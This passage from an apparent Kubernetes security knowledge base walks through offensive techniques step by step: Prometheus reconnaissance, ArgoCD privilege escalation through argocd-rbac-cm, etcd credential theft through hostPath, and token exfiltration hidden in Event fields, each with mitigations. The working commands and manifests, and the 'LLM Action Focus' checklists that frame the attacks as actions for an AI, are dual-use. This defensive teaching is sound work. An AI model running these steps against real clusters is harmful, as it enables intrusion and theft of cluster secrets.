"http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_service_info" \` - `| jq '.data.result[] | {namespace: .metric.namespace, service: .metric.service, cluster_ip: .metric.cluster_ip}'` - `curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_node_info" \` - `| jq '.data.result[].metric'` --- Prometheus ships with **no authentication enabled by default**. The HTTP query API on port `9090` is accessible to anyone who can reach the service, with no token, password, or certificate required. This is a deliberate design choice for ease of deployment, but in a Kubernetes cluster it means any compromised pod in the same namespace, or any pod with network access to the monitoring namespace, can query the full metrics database. The critical characteristic of this technique is that **it requires zero Kubernetes API calls**. Every discovery action goes directly to the Prometheus HTTP API. The Kubernetes API server audit log, which defenders rely on to detect reconnaissance (see: `SelfSubjectRulesReview` abuse), records nothing. ## The attack sequence The attacker discovers the Prometheus endpoint and queries its API to map the cluster without touching the Kubernetes API. ### Step 1: Discover the Prometheus endpoint From inside a compromised pod, locate Prometheus using environment variables or DNS probes. Prometheus collects metrics from three sources that together produce a complete cluster map: - **kube-state-metrics** translates Kubernetes object state into metric series. Every pod, service, node, deployment, and namespace is represented as a labeled time series. The labels attached to each series carry the actual Kubernetes metadata: namespace names, pod names, container image references, service cluster IPs, and node system details. - **Node exporter** exposes host-level metrics including filesystem paths, network interface names, and CPU/memory topology. These reveal node hardware characteristics that inform further exploitation decisions. - **cAdvisor** (built into kubelet, scraped via the node role) exposes per-container resource usage including image names and container IDs currently running on each node. ## Discovering the Prometheus Endpoint From inside a compromised pod, Prometheus is reachable via its cluster DNS name. The service name is typically predictable, as Helm chart defaults produce names like `prometheus-server..svc.cluster.local`. The service is discoverable without any API calls by checking environment variables injected into the pod at startup. > [!NOTE] > Kubernetes automatically injects `{SERVICENAME}_SERVICE_HOST` and `{SERVICENAME}_SERVICE_PORT` variables for every service in the same namespace, making it possible to locate Prometheus entirely passively before any network probe is made. This behavior is covered in detail under [Internal Cluster Discovery](/topics/internal-cluster-discovery). ```bash env | grep -i prometheus ``` ```output PROMETHEUS_SERVER_SERVICE_HOST=10.105.10.15 PROMETHEUS_SERVER_SERVICE_PORT=80 PROMETHEUS_SERVER_PORT_80_TCP=tcp://10.105.10.15:80 PROMETHEUS_SERVER_PORT_80_TCP_ADDR=10.105.10.15 PROMETHEUS_SERVER_PORT_80_TCP_PORT=80 PROMETHEUS_ALERTMANAGER_SERVICE_HOST=10.97.83.91 PROMETHEUS_ALERTMANAGER_SERVICE_PORT=9093 PROMETHEUS_PROMETHEUS_PUSHGATEWAY_SERVICE_HOST=10.97.153.65 PROMETHEUS_PROMETHEUS_PUSHGATEWAY_SERVICE_PORT=9091 PROMETHEUS_KUBE_STATE_METRICS_SERVICE_HOST=10.103.39.182 PROMETHEUS_KUBE_STATE_METRICS_SERVICE_PORT=8080 PROMETHEUS_PROMETHEUS_NODE_EXPORTER_SERVICE_HOST=10.99.107.229 PROMETHEUS_PROMETHEUS_NODE_EXPORTER_SERVICE_PORT=9100 ``` If environment variable injection is disabled, DNS resolution still works for known namespace targets: ```bash curl -s http://prometheus-server.monitoring.svc.cluster.local/-/healthy # Prometheus Server is Healthy. ``` ## Enumerating Targets The `/api/v1/targets` endpoint returns every scrape target Prometheus has discovered including the full label set used to identify each target, covering pod names, namespace, node assignment, and the scrape URL: ```bash curl -s http://prometheus-server.monitoring.svc.cluster.local/api/v1/targets \ | jq '.data.activeTargets[] | {job: .labels.job, url: .scrapeUrl, labels: .labels}' ``` From a single request, the attacker learns every monitored component in the cluster including which namespaces exist, what jobs are running, and the internal IP and port of each scrape endpoint. ## Harvesting Container Images and Versions The `kube_pod_container_info` metric series exposes every running container's image, tag, and image ID across all namespaces. This gives the attacker a full inventory of every running container image and version across the cluster: ```bash curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_pod_container_info" \ | jq '.data.result[] | {namespace: .metric.namespace, pod: .metric.pod, container: .metric.container, image: .metric.image}' ``` Example output from a real cluster: ``` { "namespace": "argocd", "pod": "argocd-repo-server-779879c89d-fwmxp", "container": "argocd-repo-server", "image": "quay.io/argoproj/argocd:v3.3.6" } { "namespace": "istio-system", "pod": "istiod-6b4df59d4b-lsbzz", "container": "discovery", "image": "istio/pilot:1.23.3" } { "namespace": "kube-system", "pod": "kube-apiserver-minikube", "container": "kube-apiserver", "image": "registry.k8s.io/kube-apiserver:v1.35.1" } ``` ## Mapping Internal Services The `kube_service_info` metric maps every Service object to its cluster IP: ```bash curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_service_info" \ | jq '.data.result[] | {namespace: .metric.namespace, service: .metric.service, cluster_ip: .metric.cluster_ip}' ``` This reveals the full internal service map, equivalent to what `kubectl get svc -A` returns, without touching the API server. ## Extracting Node Details The `kube_node_info` metric exposes host-level details that extend beyond what is typically considered metric data: ```bash curl -s "http://prometheus-server.monitoring.svc.cluster.local/api/v1/query?query=kube_node_info" \ | jq '.data.result[].metric' ``` A single node returns: ```json { "container_runtime_version": "docker://29.2.1", "internal_ip": "192.168.49.2", "kernel_version": "6.12.54-linuxkit", "kubelet_version": "v1.35.1", "os_image": "Debian GNU/Linux 12 (bookworm)", "pod_cidr": "10.244.0.0/24", "system_uuid": "e366bd4b77b9d6be2d67552f69964f40" } ``` The `pod_cidr` reveals the full pod network range, which is useful for lateral movement planning. The `container_runtime_version` field reveals the runtime type and version, which indicates the expected socket path on the host. The `system_uuid` is a stable hardware identifier that persists across reboots and can be used to correlate node identity across different data sources. ### Compromising ArgoCD via Application Sync HTML: https://kubernetes-security.cloud/topics/compromising-argocd-via-application-sync Markdown: https://kubernetes-security.cloud/topics/compromising-argocd-via-application-sync.md --- title: "Compromising ArgoCD via Application Sync" description: "Steering an Application destination into the argocd namespace so the controller overwrites argocd-rbac-cm and the submitter becomes an ArgoCD admin" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "An attacker who can create Applications under a permissive **AppProject** can set the destination to the argocd namespace and have the application-controller write attacker authored manifests with its own cluster identity. Overwriting `argocd-rbac-cm` promotes that identity to ArgoCD admin, which then reaches every Application, Project, registered cluster, and the controller ServiceAccount across the cluster" mitigation: - "Restrict the **default AppProject**. Replace wildcard `sourceRepos`, `destinations`, and `clusterResourceWhitelist` with explicit allowlists, and add a `namespaceResourceBlacklist` covering ConfigMap, Secret, and RBAC kinds" - "Never grant ArgoCD RBAC as `applications, *, */*, allow`. Scope grants to a locked project, for example `applications, *, devproj/*, allow`" - "Ban the **argocd namespace** as a destination on every **AppProject** a subject who is not an admin can use. Treat a destination namespace of `argocd` as an admin only capability" - "Reject Applications whose destination is `argocd` from creators who are not admins with ValidatingAdmissionPolicy, Kyverno, or Gatekeeper, and alert on application-controller writes to `argocd-rbac-cm`, `argocd-cm`, or `argocd-secret`" tools: - "kubectl" mitreTechniques: - "T1548" - "T1098" - "T1078" kubernetesVersion: null createdAt: "2026-09-05T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1. Serve the payload from inside the cluster - Category: offensive - Phase: Privilege Escalation - Objective: Steering an Application destination into the argocd namespace so the controller overwrites argocd-rbac-cm and the submitter becomes an ArgoCD admin ### Action checklist - Step 1. Serve the payload from inside the cluster - Step 2. Create an Application into argocd - Step 3. Exercise admin ### Key commands - `git daemon --base-path=/tmp --export-all --reuseaddr --port=9418` - `curl -sSL -o argocd https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64` - `chmod +x argocd` - `argocd app create atk-rbac-app \` - `--repo git://:9418/payload.git --path guestbook \` - `--dest-server https://kubernetes.default.svc --dest-namespace argocd \` - `--sync-policy automated --project default \` - `--server argocd-server.argocd.svc:443 --insecure --grpc-web` - `argocd account can-i update projects '*'` - `argocd proj create pwned-proj` --- ArgoCD takes manifests from git and applies them with the application-controller ServiceAccount, which can act across the cluster, to whatever destination the Application object names. The person who creates the Application chooses that destination. Nothing in that model treats the `argocd` namespace as special. If an ArgoCD user with limited rights can create an Application under a project that permits it, they can set the destination to `argocd`, point the source at a git repo they control, and have the controller sync attacker authored manifests into ArgoCD's own control plane. The most useful object to write there is `argocd-rbac-cm`, the ConfigMap that decides who is an admin. Overwrite it with `policy.default: role:admin` and the user who submitted the Application is an ArgoCD admin on the next policy evaluation. This is not a flaw in ArgoCD's code. It is the documented consequence of two configuration choices that ship enabled. One is a `default` **AppProject** with no restrictions. The other is RBAC grants that reach it. The restricted developer posture most teams believe they have is frequently one wildcard away from control plane compromise. This chain is adjacent to [Weaponizing ArgoCD Application](/topics/weaponizing-argocd-application), which uses the same Application create primitive to deploy privileged workloads. Here the destination is ArgoCD itself, and the payload is the authorization store rather than a disguised DaemonSet. ## Understanding the attack surface - **The project is the security boundary, and the default project has none.** ArgoCD scopes what an Application may do through its **AppProject**, not through per user destination rules. The `default` **AppProject** ships with `sourceRepos: ['*']`, `destinations: ['*','*']`, and `clusterResourceWhitelist: ['*','*']`. The documentation calls it the most permissive. Any Application under it may pull from any repo and deploy any resource to any namespace on any registered cluster. - **ArgoCD RBAC does not limit where an Application deploys.** The ArgoCD RBAC `applications` object is `/` (or `//` when applications may live in any namespace). It governs which project and application name a subject may act on. It has no field for destination namespace or destination cluster. Those are the project's job. A grant that lets a user create Applications in the `default` project therefore lets them deploy into `argocd`. - **Understand that the controller syncs as itself.** The application-controller applies fetched manifests with its own privileged ServiceAccount. The submitter's Kubernetes permissions are never consulted for that write. > [!IMPORTANT] > A grant like `p, role:dev, applications, *, */*, allow` looks scoped. The object pattern is `/`, so `*/*` means every project, including `default`. That wildcard is what turns Application create into a control plane write. A genuinely restricted developer is scoped to a locked project (`p, role:dev, applications, *, devproj/*, allow`). Then this technique fails, because `devproj` forbids the `argocd` destination. Taken together, Application create in a permissive project is a write primitive into the control plane namespace, executed with the controller's cluster identity. ## RBAC permissions The attacker needs an ArgoCD account that can create Applications under a project that permits an `argocd` destination. On a default install, that is the `default` project. ```text p, role:dev, applications, *, */*, allow g, lowpriv, role:dev ``` `policy.default` may even be `role:readonly`. The explicit `role:dev` binding is what carries the create verb. No Kubernetes RBAC is required. The attacker acts through the ArgoCD API, and the controller supplies the cluster side privilege. These environmental preconditions are all defaults on the official chart. - The `default` **AppProject** is unrestricted. - No admission webhook validates Applications. - repo-server egress is unrestricted. The chart's NetworkPolicies are ingress only, so the attacker's git repo can be a pod in any tenant namespace serving `git://`. ## The attack sequence ### Step 1. Serve the payload from inside the cluster The cluster must be able to reach the source repo. Because repo-server egress is open, a pod in any namespace the attacker already holds is enough. ```bash git daemon --base-path=/tmp --export-all --reuseaddr --port=9418 ``` Seed it with the escalation manifest under the sync path. ```yaml apiVersion: v1 kind: ConfigMap metadata: name: argocd-rbac-cm namespace: argocd data: policy.default: role:admin ``` `argocd-rbac-cm` is a ConfigMap, so project level Secret blacklists never touch it. `policy.default: role:admin` makes every authenticated subject an admin. A surgical attacker instead appends a single `p, lowpriv, *, *, */*, allow` line to `policy.csv` to avoid promoting everyone. ### Step 2. Create an Application into argocd From the compromised pod, download the `argocd` CLI. Later steps then reach `argocd-server` over in cluster DNS. ```bash curl -sSL -o argocd https://github.com/argoproj/argo-cd/releases/latest/download/argocd-linux-amd64 chmod +x argocd ``` Authenticate as the restricted user and create an Application whose destination is `argocd`. ```bash argocd app create atk-rbac-app \ --repo git://:9418/payload.git --path guestbook \ --dest-server https://kubernetes.default.svc --dest-namespace argocd \ --sync-policy automated --project default \ --server argocd-server.argocd.svc:443 --insecure --grpc-web ``` The Application is accepted and its status moves to `Synced`. The controller has now written attacker content into `argocd`. RBAC configuration is reloaded by the API server without a restart, so the change takes effect immediately. ### Step 3. Exercise admin ```bash argocd account can-i update projects '*' argocd proj create pwned-proj ``` ```output yes ``` A successful **AppProject** create means the restricted account is now an ArgoCD admin. The same action failed before `argocd-rbac-cm` changed. > [!WARNING] > `argocd account generate-token --account admin` immediately after the rewrite can still fail if the API server has not finished reloading policy. **AppProject** creation is the reliable escalation check. Retry `generate-token` after policy reloads. Failure on the first try does not undo the escalation. ## Other payloads in the same destination Destination `argocd` plus a write performed with the controller's authority reaches more than the RBAC ConfigMap. - **`argocd-cm`.** Writing `resource.customizations.*.health.lua` plants Lua that the application-controller executes, and `notifications.*` templates are an injection surface. Either write executes attacker code through the same Application sync. - **Cluster takeover.** As ArgoCD admin, register or retarget a destination cluster and deploy cluster scoped resources. The `default` project's `clusterResourceWhitelist: ['*','*']` permits it. The controller ServiceAccount across the cluster is the ceiling. ## ArgoCD is behaving as configured ArgoCD documents this outcome. The ApplicationSet security page names the exact scenario. A user who can create an Application under an unrestricted project (like `default`) can take control of Argo CD by modifying its RBAC ConfigMap. Three design facts confirm the classification. The `default` project is permissive by documented intent, and the docs recommend dedicated locked projects. The project, not RBAC, is the destination boundary, so ArgoCD is behaving correctly when a permissive project permits a permissive destination. And the chain is the composition of both defaults an operator was advised to change. The advisory precedent draws the line. [API server does not enforce project `sourceNamespaces`](https://github.com/argoproj/argo-cd/security/advisories/GHSA-2gvw-w6fj-7m3c) was a genuine bug because ArgoCD failed to enforce a restriction the operator had configured. Here the operator configured no restriction, left `default` open, granted a wildcard project, and ArgoCD did exactly what that configuration specifies. A grant of `applications, */*` is not a restricted developer. Combined with a usable `default` **AppProject**, it lets that subject write into `argocd`. Apply the controls in [Securing ArgoCD Application Access](/topics/securing-argocd-application-access). ### Compromising etcd via Pod Creation HTML: https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation Markdown: https://kubernetes-security.cloud/topics/compromising-etcd-via-pod-creation.md --- title: "Compromising etcd via Pod Creation" description: "Steal etcd TLS via pod hostPath on the control plane" category: "offensive" phase: "credential-access" offensiveType: "credential-access" impact: "With etcd TLS material from the control plane’s etcd certificate directory (for example kubeadm’s **server.crt** / **server.key** plus the etcd **CA**), an attacker can authenticate to etcd directly, list and export every Secret and object in the datastore, and in many configurations modify RBAC or persist backdoors. That level of access is often beyond what Kubernetes audit logs attribute to a normal API user." mitigation: - "Block or strictly gate **hostPath** mounts with admission policy (OPA Gatekeeper, Kyverno, Pod Security restricted profile where feasible)." - "Prevent untrusted identities from scheduling workloads onto **control plane** nodes (avoid tolerations for control-plane taints, use separate node pools, and restrict **nodes/proxy** or **pods** placement abuse)." - "Prefer **managed Kubernetes** control planes where etcd and PKI are not exposed on customer-accessible nodes." - "Enable **etcd encryption at rest** and protect **encryption provider** configuration so filesystem access alone does not yield usable Secret plaintext." - "Restrict host filesystem access on control plane nodes (hardening, minimal SSH, integrity monitoring) and monitor for pods with **hostNetwork**, **hostPID**, and **hostPath** toward `/etc/kubernetes/pki/etcd` or `/var/lib/etcd`." tools: [] mitreTechniques: - "T1610" - "T1611" - "T1552" - "T1078" kubernetesVersion: null createdAt: "2026-04-05T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Verify prerequisites - Category: offensive - Phase: Credential Access - Objective: Steal etcd TLS via pod hostPath on the control plane ### Action checklist - **Permission to create pods** (or workloads that become pods) in a namespace that allows the dangerous fields you need. - A **control plane node** you can schedule onto, typically via **nodeSelector** / **affinity** and **tolerations** for `node-role.kubernetes.io/control-plane` (or legacy `master`) **NoSchedule** taints, as shown in [Weaponizing Pod Creation Access](/topics/weaponizing-pod-creation/). - The cluster is **not** one where the control plane is fully **managed** and isolated from your workloads. ### Key commands - `kubectl exec -it etcd-pki-client -- sh` - `export ETCDCTL_API=3` - `etcdctl --endpoints=https://127.0.0.1:2379 \` - `--cacert=/etcd-pki/ca.crt \` - `--cert=/etcd-pki/server.crt \` - `--key=/etcd-pki/server.key \` - `get /registry/secrets --prefix --keys-only | head` --- This topic is the **next step** after [Weaponizing Pod Creation Access](/topics/weaponizing-pod-creation/). That page shows how **pod create** plus **hostPath** can mount node filesystems, including `/var/lib/etcd` on stacked control plane nodes, to read raw member data. Here the **hostPath** is limited to the **etcd PKI directory only** (`/etc/kubernetes/pki/etcd` on typical kubeadm clusters), not the rest of `/etc/kubernetes/pki`. You copy **etcd’s CA** and a TLS keypair under that directory that etcd will accept as a client (kubeadm commonly exposes **`server.crt`** and **`server.key`** there), combine that with **hostNetwork** on the same machine as **etcd**, and use **etcdctl** to speak to **etcd** over mutual TLS. That still yields **live** reads (and, depending on etcd configuration and file permissions, writes) against the entire Kubernetes object store. > [!NOTE] > This applies to clusters where **etcd** runs on (or is reachable from) nodes you can schedule onto, for example with **stacked etcd** on control plane VMs. On **GKE, EKS, AKS**, and similar offerings, the control plane and etcd are **not** customer-schedulable. These paths do not apply in the same way. ## Why etcd client certificates matter The Kubernetes API server persists every **Secret**, **ConfigMap**, **ServiceAccount** token backing store entry, **RoleBinding**, and more under `/registry/...` keys in **etcd**. If you can authenticate to **etcd** with credentials trusted by the server, you can **dump or tamper with cluster state** without going through the audited API surface. You can also bypass admission layers that only run on API requests. Reading **etcd** data files from disk (as in the `/var/lib/etcd` **hostPath** example) is one approach. Another is to **mount only the etcd certificate directory** and use material that etcd trusts for **client** authentication: - **etcd CA** (to validate the etcd server): `/etc/kubernetes/pki/etcd/ca.crt` on the host (mounted into the pod) - **Client cert and key** in the same directory: on **kubeadm** clusters the example below uses **`server.crt`** and **`server.key`** (the same directory also holds **`peer.crt`**, **`ca.crt`**, and related etcd material) The **kube-apiserver** also uses **`apiserver-etcd-client.crt`** and **`apiserver-etcd-client.key`**, but those files sit in the **parent** folder **`/etc/kubernetes/pki/`**, not inside **`etcd/`**. This walkthrough keeps the **hostPath** scoped to **`/etc/kubernetes/pki/etcd`** so you are not mounting the full cluster PKI (service account signing keys, front-proxy certs, and so on). Paths and filenames can differ if your distribution customized the control plane layout. See the upstream [certificates documentation](https://kubernetes.io/docs/setup/best-practices/certificates/). ## The attack sequence The attacker creates a pod on a control plane node, mounts the etcd PKI directory, and uses the certificates to authenticate directly to etcd. ### Step 1: Verify prerequisites 1. **Permission to create pods** (or workloads that become pods) in a namespace that allows the dangerous fields you need. 2. A **control plane node** you can schedule onto, typically via **nodeSelector** / **affinity** and **tolerations** for `node-role.kubernetes.io/control-plane` (or legacy `master`) **NoSchedule** taints, as shown in [Weaponizing Pod Creation Access](/topics/weaponizing-pod-creation/). 3. The cluster is **not** one where the control plane is fully **managed** and isolated from your workloads. If you only have pod creation in a worker-only pool, you may still pivot using **hostPath** on workers (kubelet credentials, cloud metadata, etc.), but **etcd** keys are not on workers in a normal architecture. The **etcd** angle is **control plane** specific. The idea is to land on a **control plane** host, mount **only** the **etcd TLS directory** read-only, and share the node’s network namespace so **127.0.0.1:2379** is the same **etcd** endpoint used for **stacked etcd**. ```yaml apiVersion: v1 kind: Pod metadata: name: etcd-pki-client spec: hostNetwork: true dnsPolicy: ClusterFirstWithHostNet affinity: nodeAffinity: requiredDuringSchedulingIgnoredDuringExecution: nodeSelectorTerms: - matchExpressions: - key: node-role.kubernetes.io/control-plane operator: Exists tolerations: - key: node-role.kubernetes.io/control-plane operator: Exists effect: NoSchedule containers: - name: tools image: bitnamilegacy/etcd:3.6.4 command: ["/bin/sh", "-c", "sleep infinity"] securityContext: runAsUser: 0 volumeMounts: - name: etcd-pki mountPath: /etcd-pki readOnly: true volumes: - name: etcd-pki hostPath: path: /etc/kubernetes/pki/etcd type: Directory ``` > [!TIP] > The image **`bitnamilegacy/etcd:3.6.4`** is a convenience choice: it includes **`etcdctl`** and a real shell (**`/bin/sh`**), so **`kubectl exec`** works the way the steps below expect. Many upstream **etcd** images are minimal or distroless and do not ship an interactive shell. **hostNetwork: true** is what makes `https://127.0.0.1:2379` (typical for local **etcd** on the control plane) reachable from the pod’s network namespace. **dnsPolicy: ClusterFirstWithHostNet** keeps in-cluster DNS usable if you also need Kubernetes API access from the same pod. Scheduling uses **node affinity** so the pod can land on a node labeled **`node-role.kubernetes.io/control-plane`**, with a **toleration** for the control-plane **NoSchedule** taint. ## Using etcdctl with the mounted etcd certificates Exec into the pod and call **etcdctl** using files under **`/etcd-pki`**. The example uses **`ca.crt`** as the trust anchor and **`server.crt`** with **`server.key`** as the TLS client identity. If your cluster layout differs, map whatever keypair your installer placed under the etcd PKI directory (still without mounting the whole **`/etc/kubernetes/pki`** tree if you want to stay scoped to etcd). ```bash kubectl exec -it etcd-pki-client -- sh ``` ```bash export ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \ --cacert=/etcd-pki/ca.crt \ --cert=/etcd-pki/server.crt \ --key=/etcd-pki/server.key \ get /registry/secrets --prefix --keys-only | head ``` From here, an attacker can **export sensitive objects**, hunt for **cluster-admin** equivalent bindings stored as **Kubernetes** objects, or, if their access is not read-only at the **etcd** layer, attempt **writes**. Even read-only **etcd** access is often enough for **full confidentiality breach** because **Secrets** live in the datastore. For background on what **etcd** stores and why it matters, see the [etcd glossary entry](/glossary/etcd/). ### Data Exfiltration via Kubernetes Events HTML: https://kubernetes-security.cloud/topics/data-exfiltration-via-kubernetes-events Markdown: https://kubernetes-security.cloud/topics/data-exfiltration-via-kubernetes-events.md --- title: "Data Exfiltration via Kubernetes Events" description: "How attackers can misuse Kubernetes Events to move data out after cluster compromise" category: "offensive" phase: "exfiltration" offensiveType: "exfiltration" impact: "An attacker with cluster access and permission to create `events` can hide stolen data inside normal-looking event messages. Because Events are expected control-plane traffic, this can blend into noise and bypass checks that focus only on pods, secrets, and network egress." mitigation: - "Treat `create` on `events` as a sensitive permission. Most workloads do not need broad event-write access." - "Alert on unusual event volume, long messages, and encoded-looking content from unexpected identities." - "Correlate suspicious event writes with node compromise signals and unusual secret-access activity." - "Export Events to centralized logging so short retention does not erase investigation evidence." tools: - "kubectl" mitreTechniques: - "T1537" - "T1530" kubernetesVersion: null createdAt: "2026-04-08T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1: Acquire event creation permissions - Category: offensive - Phase: Exfiltration - Objective: How attackers can misuse Kubernetes Events to move data out after cluster compromise ### Action checklist - Step 1: Acquire event creation permissions - Step 2: Spoof the event source - Step 3: Encode and exfiltrate the data - A1Z26 cipher in numeric fields - Image digest: AWS access key ### Key commands - `kubectl get events -n production --sort-by='.metadata.name' -o json \` - `| jq -r '[.items[] | .reportingInstance] | join("")' \` - `| python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())"` --- After gaining access to a cluster, an attacker may have already collected sensitive data: a mounted service account token, a database credential from a Secret, an AWS key from an environment variable. The next step is moving that data out without triggering network egress alerts or leaving obvious traces. ## The attack sequence The attacker encodes stolen data and embeds it in Kubernetes Events, then retrieves it from outside the cluster. ### Step 1: Acquire event creation permissions The minimum RBAC required: ```yaml rules: - apiGroups: [""] resources: ["events"] verbs: ["create", "get"] ``` ### Step 2: Spoof the event source The `source.component`, `source.host`, `reportingComponent`, and `reportingInstance` fields are set by the creator. The API server stores whatever value is submitted without validating it against the requesting identity. Setting them to `kubelet` and a real node name makes the event indistinguishable from kubelet output in `kubectl get events`. ### Step 3: Encode and exfiltrate the data A service account token for `system:serviceaccount:production:deployer` is a JWT. Mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token` inside any pod running with that account, it grants whatever RBAC permissions the account holds. An attacker hex-encodes the token and splits it across three events, each appearing as a routine image pull in the `production` namespace. The token: ``` eyJhbGciOiJSUzI1NiIsImtpZCI6IkNKYnhWVkJZbjE3dDFMQ0R3OHcwNllZRENzM0NUcHFxZ01kSEktSE85dlkifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzc1OTMzMzQ3LCJpYXQiOjE3NzU5Mjk3NDcsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiOWNkZjA1YmItMzA1OC00MzAyLTkyMjEtZDgwNWRhZWI3Mjc5Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJwcm9kdWN0aW9uIiwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlcGxveWVyIiwidWlkIjoiNzJhMjVhNDctNzcxNy00YmU1LWI2ZWQtZmY0ZjJiZDRjYWVlIn19LCJuYmYiOjE3NzU5Mjk3NDcsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpwcm9kdWN0aW9uOmRlcGxveWVyIn0.J4mVhBlzrnpfL6cTjKcP6pHHxXlK0c6zlCLVYp9w0pNIGDSMMZXD6_aRfoCQCIuSY0jCs5PSR2LcdM-_WoJENRctWuJd64YQShyYv16rWfypBEyNkEp4GTBqpOhKKaEUckPxfmTa4T8ISwvXJAf16cEsSk7B1GHLnnxC2BcWThytXirOwdY394uOei_CVdyBf-SF2yX4__t7nZZyhnLptP8jjaUFQywrbxqFExUIfft46h1fX14kaWXMA2-dZJevnyJPmyMoSFK2wNwY6RBU55Bd4Jjm3J8aiNigRt1Z-NwMUO85hV6qCCJgARscTt_Syqo07sno7bngGs8qN-m9Ag ``` Its payload decodes to: ```json { "sub": "system:serviceaccount:production:deployer", "kubernetes.io": { "namespace": "production", "serviceaccount": { "name": "deployer", "uid": "72a25a47-7717-4be5-b6ed-ff4f2bd4caee" } } } ``` Hex-encoded, the token is 1882 characters. Split into three equal chunks and stored in the `reportingInstance` field of three consecutive events: ```json {"name": "order-service-589fc77b9d-5mxjm.18a55d4b2f000001", "reportingInstance": "65794a68624763694f694a53557a49314e694973496d74705a434936496b4e4b596e6857566b4a5a626a45336444464d513052334f4863774e6c6c5a52454e7a4d304e55634846785a30316b53456b7453453835646c6b6966512e65794a68645751694f6c73696148523063484d364c79397264574a6c636d356c6447567a4c6d526c5a6d46316248517563335a6a4c6d4e7364584e305a5849756247396a59577769585377695a586877496a6f784e7a63314f544d7a4d7a51334c434a70595851694f6a45334e7a55354d6a6b334e446373496d6c7a63794936496d68306448427a4f693876613356695a584a755a58526c6379356b5a575a68645778304c6e4e325979356a6248567a644756794c6d78765932467349697769616e5270496a6f694f574e6b5a6a4131596d49744d7a41314f4330304d7a4"} {"name": "order-service-589fc77b9d-5mxjm.18a55d4b2f000002", "reportingInstance": "1794c546b794d6a45745a4467774e5752685a5749334d6a633549697769613356695a584a755a58526c637935706279493665794a755957316c63334268593255694f694a77636d396b64574e30615739754969776963325679646d6c6a5a57466a59323931626e51694f6e7369626d46745a534936496d526c63477876655756794969776964576c6b496a6f694e7a4a684d6a56684e4463744e7a63784e793030596d55314c5749325a5751745a6d59305a6a4a695a44526a5957566c496e31394c434a75596d59694f6a45334e7a55354d6a6b334e446373496e4e3159694936496e4e356333526c6254707a5a584a3261574e6c59574e6a6233567564447077636d396b64574e30615739754f6d526c6347787665575679496e302e4a346d5668426c7a726e70664c3663546a4b63503670484878586c4b"} {"name": "order-service-589fc77b9d-5mxjm.18a55d4b2f000003", "reportingInstance": "3063367a6c434c565970397730704e494744534d4d5a5844365f6152666f43514349755359306a437335505352324c63644d2d5f576f4a454e52637457754a64363459515368795976313672576679704245794e6b45703447544271704f684b4b614555636b5078666d546134543849537776584a41663136634573536b37423147484c6e6e784332426357546879745869724f776459333934754f65695f4356647942662d5346327958345f5f74376e5a5a79686e4c707450386a6a61554651797772627871464578554966667434366831665831346b6157584d41322d645a4a65766e794a506d794d6f53464b32774e77593652425535354264344a6a6d334a3861694e69675274315a2d4e774d554f38356856367143434a674152736354745f5379716f3037736e6f37626e67477338714e2d6d394167"} ``` All three events show the same visible output in `kubectl get events`: ```output LAST SEEN TYPE REASON OBJECT MESSAGE 5m Normal Pulled pod/order-service-589fc77b9d-5mxjm Successfully pulled image "order-service:v2.4.1" in 2.103s (2.103s including waiting). Image size: 134469729 bytes. 5m Normal Pulled pod/order-service-589fc77b9d-5mxjm Successfully pulled image "order-service:v2.4.1" in 2.103s (2.103s including waiting). Image size: 134469729 bytes. 5m Normal Pulled pod/order-service-589fc77b9d-5mxjm Successfully pulled image "order-service:v2.4.1" in 2.103s (2.103s including waiting). Image size: 134469729 bytes. ``` The `reportingInstance` field is not shown. From a different session, the attacker retrieves and reassembles the token: ```bash kubectl get events -n production --sort-by='.metadata.name' -o json \ | jq -r '[.items[] | .reportingInstance] | join("")' \ | python3 -c "import sys; print(bytes.fromhex(sys.stdin.read().strip()).decode())" ``` ```output eyJhbGciOiJSUzI1NiIsImtpZCI6IkNKYnhWVkJZbjE3dDFMQ0R3OHcwNllZRENzM0NUcHFxZ01kSEktSE85dlkifQ.eyJhdWQiOls... ``` The output is the complete service account token, ready to use. ## Other encoding channels ### A1Z26 cipher in numeric fields Numeric fields in event messages accept arbitrary integers. The `image size` field is a common target. A1Z26 maps each letter to its position in the alphabet using two digits. The value `190503180520` encodes `SECRET`. ``` 19=S 05=E 03=C 18=R 05=E 20=T ``` A1Z26 is limited to alphabetic characters. Encoding six letters produces a 12-digit image size corresponding to tens of terabytes. This is implausible for a container image. It is better suited for short string labels than for raw credential values. ### Image digest: AWS access key The `sha256:` digest in a pinned image pull is always 64 hex characters. An attacker hex-encodes a credential and pads it to 64 characters. The AWS access key ID `AKIAIOSFODNN7EXAMPLE` encodes to: ``` 414b4941494f53464f444e4e374558414d504c45000000000000000000000000 ``` The event message: ``` Successfully pulled image "nginx:1.21.6@sha256:414b4941494f53464f444e4e374558414d504c45000000000000000000000000" in 1.565s (1.565s including waiting). Image size: 134469729 bytes. ``` The message format, timing, image size, and digest length all match a normal pull. The digest is syntactically valid. ### Detecting API Server Proxy Abuse HTML: https://kubernetes-security.cloud/topics/detecting-api-server-proxy-abuse Markdown: https://kubernetes-security.cloud/topics/detecting-api-server-proxy-abuse.md --- title: "Detecting API Server Proxy Abuse" description: "Identifying abuse of the services/proxy and pods/proxy subresources to bypass network segmentation or use the API server as an open HTTP proxy" category: "defensive" phase: null offensiveType: null impact: "An attacker with services/proxy access can bypass NetworkPolicies and reach internal services 